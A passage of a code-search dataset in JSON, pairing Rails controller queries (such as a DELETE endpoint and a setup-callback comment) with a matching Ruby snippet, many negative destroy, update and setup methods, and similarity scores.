"def update\n @contact = Contact.find(params[:id])\n if params[:contact][:clientId] == \"\"\n params[:contact][:clientId] = nil\n end \n\n respond_to do |format|\n if @contact.update_attributes(params[:contact])\n format.html { redirect_to @contact, notice: 'Contato atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @user.update_attribute(:terms_and_conditions, @t_and_c)\n render :json => {:tc_accepted => true}.to_json\n else\n render :edit\n end\n end",
"def update\n respond_to do |format|\n if @transect.update(transect_params)\n # format.html { redirect_to @transect, notice: 'Transect was successfully updated.' }\n format.html { redirect_to transects_path, notice: 'Transect was successfully updated.' }\n format.json { render :show, status: :ok, location: @transect }\n else\n format.html { render :edit }\n format.json { render json: @transect.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7178427",
"0.67674005",
"0.65616006",
"0.649103",
"0.6470003",
"0.6425526",
"0.62084883",
"0.6124629",
"0.6115476",
"0.60421103",
"0.5930012",
"0.5886875",
"0.5882646",
"0.5861724",
"0.58495075",
"0.5808336",
"0.5807825",
"0.58050156",
"0.5803656",
"0.5793464",
"0.5789125",
"0.57813334",
"0.5779119",
"0.57787335",
"0.5772148",
"0.57675636",
"0.57665455",
"0.57432246",
"0.5735073",
"0.5728687",
"0.5727735",
"0.5720107",
"0.57184255",
"0.57111263",
"0.5704131",
"0.5686375",
"0.5660637",
"0.5655384",
"0.5654075",
"0.5650218",
"0.5649696",
"0.5645256",
"0.5636894",
"0.56155705",
"0.5612375",
"0.5610063",
"0.5605256",
"0.5601379",
"0.55925286",
"0.5581175",
"0.55808",
"0.55791736",
"0.5572644",
"0.5554313",
"0.554578",
"0.5535335",
"0.55223006",
"0.5516261",
"0.55158806",
"0.55146873",
"0.5510836",
"0.55090314",
"0.55078506",
"0.5503724",
"0.54973805",
"0.54962903",
"0.5490591",
"0.5489063",
"0.54857385",
"0.54804265",
"0.5476837",
"0.5472651",
"0.5472229",
"0.5471505",
"0.54695886",
"0.5468464",
"0.54674363",
"0.54666066",
"0.54651767",
"0.54604465",
"0.54593354",
"0.54562545",
"0.5453829",
"0.5446951",
"0.54457396",
"0.5443118",
"0.54422194",
"0.54394203",
"0.54392755",
"0.5438614",
"0.54324716",
"0.5430175",
"0.5430035",
"0.5425902",
"0.54189956",
"0.54174525",
"0.5416554",
"0.54150814",
"0.54025847",
"0.5400557"
] |
0.731992
|
0
|
DELETE /cta_ctes/1 DELETE /cta_ctes/1.json
|
def destroy
@cta_cte.destroy
respond_to do |format|
format.html { redirect_to cta_ctes_url, notice: 'Cta cte was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @cta = Cta.find(params[:id])\n @cta.destroy\n\n respond_to do |format|\n format.html { redirect_to ctas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cta.destroy\n respond_to do |format|\n format.html { redirect_to cta_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @cfct.destroy\n respond_to do |format|\n format.html { redirect_to cfcts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ct.destroy\n respond_to do |format|\n format.html { redirect_to cts_url, notice: 'Ct was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cto.destroy\n respond_to do |format|\n format.html { redirect_to ctos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @affiliate_ctum = Affiliate::Ctum.find(params[:id])\n @affiliate_ctum.destroy\n\n respond_to do |format|\n format.html { redirect_to affiliate_cta_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @ca.destroy\n respond_to do |format|\n format.html { redirect_to cas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cotact.destroy\n respond_to do |format|\n format.html { redirect_to cotacts_url, notice: 'Cotact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cadet = Cadet.find(params[:id])\n @cadet.destroy\n\n respond_to do |format|\n format.html { redirect_to cadets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ca = Ca.find(params[:id])\n @ca.destroy\n\n respond_to do |format|\n format.html { redirect_to cas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cict.destroy\n respond_to do |format|\n format.html { redirect_to cicts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crate.destroy\n respond_to do |format|\n format.html { redirect_to tenant_crates_url, notice: 'Crate was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cto = Cto.find(params[:id])\n @cto.destroy\n redirect_to ctos_path\n end",
"def destroy\n @tccapi.destroy\n respond_to do |format|\n format.html { redirect_to tccapis_url, notice: 'Tccapi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def cfa_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_delete method\"\n begin\n id=params[\"format\"] \n cfa=RestClient.delete $api_service+'/cfa_titles/'+id\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} Cfa controller delete method\" }\n end\n redirect_to action: \"index\"\n end",
"def destroy\n @cabinet = Cabinet.find(params[:id])\n @cabinet.destroy\n\n respond_to do |format|\n format.html { redirect_to cabinets_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @cage.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @treq = Treq.find(params[:id])\n @treq.destroy\n\n respond_to do |format|\n format.html { redirect_to treqs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @capex.destroy\n respond_to do |format|\n format.html { redirect_to capexes_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @cso = Cso.find(params[:id])\n @cso.destroy\n\n respond_to do |format|\n format.html { redirect_to csos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contestant = Contestant.find(params[:id])\n @contestant.destroy\n\n respond_to do |format|\n format.html { redirect_to contestants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cpt.destroy\n respond_to do |format|\n format.html { redirect_to cpts_url, notice: 'Cpt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cof.destroy\n respond_to do |format|\n format.html { redirect_to cofs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @taco.destroy\n respond_to do |format|\n format.html { redirect_to tacos_url, notice: 'Taco was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crust = Crust.find(params[:id])\n @crust.destroy\n\n respond_to do |format|\n format.html { redirect_to crusts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @catebg = Catebg.find(params[:id])\n @catebg.destroy\n\n respond_to do |format|\n format.html { redirect_to catebgs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cocktail = Cocktail.find(params[:id])\n @cocktail.destroy\n\n respond_to do |format|\n format.html { redirect_to cocktails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cocktail = Cocktail.find(params[:id])\n @cocktail.destroy\n\n respond_to do |format|\n format.html { redirect_to cocktails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tcredito.destroy\n respond_to do |format|\n format.html { redirect_to tcreditos_url, notice: 'Tcredito was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trac.destroy\n respond_to do |format|\n format.html { redirect_to tracs_url, notice: 'Trac was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @acd = Acd.find(params[:id])\n @acd.destroy\n\n respond_to do |format|\n format.html { redirect_to acds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @caso.destroy\n respond_to do |format|\n format.html { redirect_to casos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ai_contest = AiContest.find(params[:id])\n @ai_contest.destroy\n\n respond_to do |format|\n format.html { redirect_to ai_contests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crate = Crate.find(params[:id])\n @crate.destroy\n\n respond_to do |format|\n format.html { redirect_to crates_url }\n format.json { head :ok }\n end\n end",
"def destroy\n #@incidentcategory.destroy\n render json: {}, status: 200\n end",
"def destroy\n \n keystone.delete_tenant(keystone.get_tenant(params[:id])[:id])\n\n respond_to do |format|\n format.html { redirect_to tenants_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @tapioca.destroy\n respond_to do |format|\n format.html { redirect_to tapiocas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cec_complaint = CecComplaint.find(params[:id])\n @cec_complaint.destroy\n\n respond_to do |format|\n format.html { redirect_to cec_complaints_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @tobacco.destroy\n respond_to do |format|\n format.html { redirect_to tobaccos_url, notice: 'Tobacco was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @congress.destroy\n respond_to do |format|\n format.html { redirect_to congresses_url, notice: 'Congress was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @otg_crypst.destroy\n respond_to do |format|\n format.html { redirect_to otg_crypsts_url, notice: 'Otg crypst was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end",
"def destroy\n @optin_contestant = OptinContestant.find(params[:id])\n @optin_contestant.destroy\n\n respond_to do |format|\n format.html { redirect_to optin_contestants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @small_concert.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/small_concerts' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @couch.destroy\n respond_to do |format|\n format.html { redirect_to couches_url, notice: 'Couche was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @casa.destroy\n respond_to do |format|\n format.html { redirect_to casas_url, notice: \"Casa was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reqcargo.destroy\n respond_to do |format|\n format.html { redirect_to reqcargos_url, notice: 'Reqcargo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @coff = Coff.find(params[:id])\n @coff.destroy\n\n respond_to do |format|\n format.html { redirect_to coffs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @certtest.destroy\n respond_to do |format|\n format.html { redirect_to certtests_url, notice: 'Certtest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ccosto.destroy\n respond_to do |format|\n format.html { redirect_to ccostos_url, notice: 'Ccosto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @coche.destroy\n respond_to do |format|\n format.html { redirect_to coches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contum = Contum.find(params[:id])\n @contum.destroy\n\n respond_to do |format|\n format.html { redirect_to conta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contacter = Contacter.find(params[:id])\n @contacter.destroy\n\n respond_to do |format|\n format.html { redirect_to contacters_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @causale = Causale.find(params[:id])\n @causale.destroy\n\n respond_to do |format|\n format.html { redirect_to causali_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cet.destroy\n respond_to do |format|\n format.html { redirect_to cets_url, notice: 'Cet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @climb_datum = ClimbDatum.find(params[:id])\n @climb_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to climb_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @xrf_coc.destroy\n respond_to do |format|\n format.html { redirect_to xrf_cocs_url, notice: 'Xrf coc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cerc = Cerc.find(params[:id])\n @cerc.destroy\n\n head :no_content\n end",
"def destroy\n @crowd = Crowd.find(params[:id])\n @crowd.destroy\n\n respond_to do |format|\n format.html { redirect_to crowds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @couch.destroy\n respond_to do |format|\n format.html { redirect_to couches_url, notice: 'Couch was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n block_non_user\n @contest = Contest.find(params[:id])\n @contest.destroy\n\n respond_to do |format|\n format.html { redirect_to contests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contest = Contest.find(params[:id])\n @contest.destroy\n\n respond_to do |format|\n format.html { redirect_to contests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @contest = Contest.find(params[:id])\n @contest.destroy\n\n respond_to do |format|\n format.html { redirect_to contests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contest = Contest.find(params[:id])\n @contest.destroy\n\n respond_to do |format|\n format.html { redirect_to contests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contest = Contest.find(params[:id])\n @contest.destroy\n\n respond_to do |format|\n format.html { redirect_to contests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contest = Contest.find(params[:id])\n @contest.destroy\n\n respond_to do |format|\n format.html { redirect_to contests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cycdatum = Cycdatum.find(params[:id])\n @cycdatum.destroy\n\n respond_to do |format|\n format.html { redirect_to cycdata_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @cfo.destroy\n respond_to do |format|\n format.html { redirect_to cfos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cont = Cont.find(params[:id])\n @cont.destroy\n\n respond_to do |format|\n format.html { redirect_to conts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @cadd = Cadd.find(params[:id])\n @cadd.destroy\n\n respond_to do |format|\n format.html { redirect_to(cadds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cla.destroy\n respond_to do |format|\n format.html { redirect_to clas_path, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @node_incident = NodeIncident.find(params[:id])\n @node_incident.destroy\n\n respond_to do |format|\n format.html { redirect_to node_incidents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @qua_trinh_cong_tac.destroy\n respond_to do |format|\n format.html { redirect_to qua_trinh_cong_tacs_url, notice: 'Qua trinh cong tac was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @sivic_contabanco.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_contabancos_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @template_cate.destroy\n respond_to do |format|\n format.html { redirect_to template_cates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @concert.destroy\n respond_to do |format|\n format.html { redirect_to concerts_url, notice: 'Concert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @concert.destroy\n respond_to do |format|\n format.html { redirect_to concerts_url, notice: 'Concert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @concert.destroy\n respond_to do |format|\n format.html { redirect_to concerts_url, notice: 'Concert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @caixa = Caixa.find(params[:id])\n @caixa.destroy\n\n respond_to do |format|\n format.html { redirect_to caixas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @t_complaint.destroy\n respond_to do |format|\n format.html { redirect_to t_complaints_url, notice: 'T complaint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_course_template(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/#{org_unit_id}\"\n _delete(path)\n puts '[+] Course template data deleted successfully'.green\nend",
"def destroy\n #@clinica.destroy\n @clinica.update(:status => 0)\n respond_to do |format|\n format.html { redirect_to clinicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clinical_visit.destroy\n respond_to do |format|\n format.html { redirect_to clinical_visits_url, notice: 'Clinical visit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @sub_cost_center_three.destroy\n respond_to do |format|\n format.html { redirect_to sub_cost_center_threes_url, notice: 'Sub cost center three was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mycometer_coc.destroy\n respond_to do |format|\n format.html { redirect_to mycometer_cocs_url, notice: 'Mycometer coc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cetegory.destroy\n respond_to do |format|\n format.html { redirect_to cetegories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @taxi = Taxi.find(params[:id])\n @taxi.destroy\n\n respond_to do |format|\n format.html { redirect_to taxis_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @credito = Credito.find(params[:id])\n @credito.destroy\n\n respond_to do |format|\n format.html { redirect_to creditos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @capacitacion = Capacitacion.find(params[:id])\n @capacitacion.destroy\n\n respond_to do |format|\n format.html { redirect_to capacitacions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @creaditcharge.destroy\n respond_to do |format|\n format.html { redirect_to creaditcharges_url, notice: 'Creaditcharge was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def destroy\n @clonet = Clonet.find(params[:id])\n @clonet.destroy\n\n respond_to do |format|\n format.html { redirect_to clonets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @citum.destroy\n respond_to do |format|\n format.html { redirect_to cita_url, notice: 'Citum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tangent.destroy\n respond_to do |format|\n format.html { redirect_to tangents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clint.destroy\n respond_to do |format|\n format.html { redirect_to clints_url, notice: 'Clint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.77006453",
"0.7628499",
"0.7336905",
"0.7226581",
"0.7162616",
"0.70822024",
"0.69282967",
"0.67165726",
"0.66642845",
"0.66407293",
"0.6627936",
"0.6607832",
"0.6587206",
"0.6537619",
"0.6533707",
"0.6526938",
"0.64694285",
"0.64670694",
"0.6437052",
"0.64359057",
"0.64342505",
"0.64229053",
"0.6415224",
"0.6415213",
"0.6414105",
"0.6406154",
"0.64056855",
"0.6392367",
"0.6389188",
"0.638823",
"0.638823",
"0.6385708",
"0.6381043",
"0.63753873",
"0.6358854",
"0.63490516",
"0.6345333",
"0.63307196",
"0.6326741",
"0.63093674",
"0.6306716",
"0.6306016",
"0.63028127",
"0.62978196",
"0.6281019",
"0.6276845",
"0.62752235",
"0.62747294",
"0.6270875",
"0.6258755",
"0.6255488",
"0.6254862",
"0.62428457",
"0.6239514",
"0.62381274",
"0.6233732",
"0.62327194",
"0.6231168",
"0.6231",
"0.62307453",
"0.6230415",
"0.62285256",
"0.62276477",
"0.6223526",
"0.62221146",
"0.62219775",
"0.62219775",
"0.62219775",
"0.62219775",
"0.62207913",
"0.62169063",
"0.62117684",
"0.6208622",
"0.62078893",
"0.62059635",
"0.6203149",
"0.6198351",
"0.61910665",
"0.6190236",
"0.6190236",
"0.6190236",
"0.6186929",
"0.6182934",
"0.6181388",
"0.61780286",
"0.6176194",
"0.6171785",
"0.61712617",
"0.6170757",
"0.61667377",
"0.61627007",
"0.6161719",
"0.61579686",
"0.61579615",
"0.61572593",
"0.61556256",
"0.6153295",
"0.6153114",
"0.61505175",
"0.6149193"
] |
0.7618939
|
2
|
Use callbacks to share common setup or constraints between actions.
|
def set_cta_cte
@cta_cte = CtaCte.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
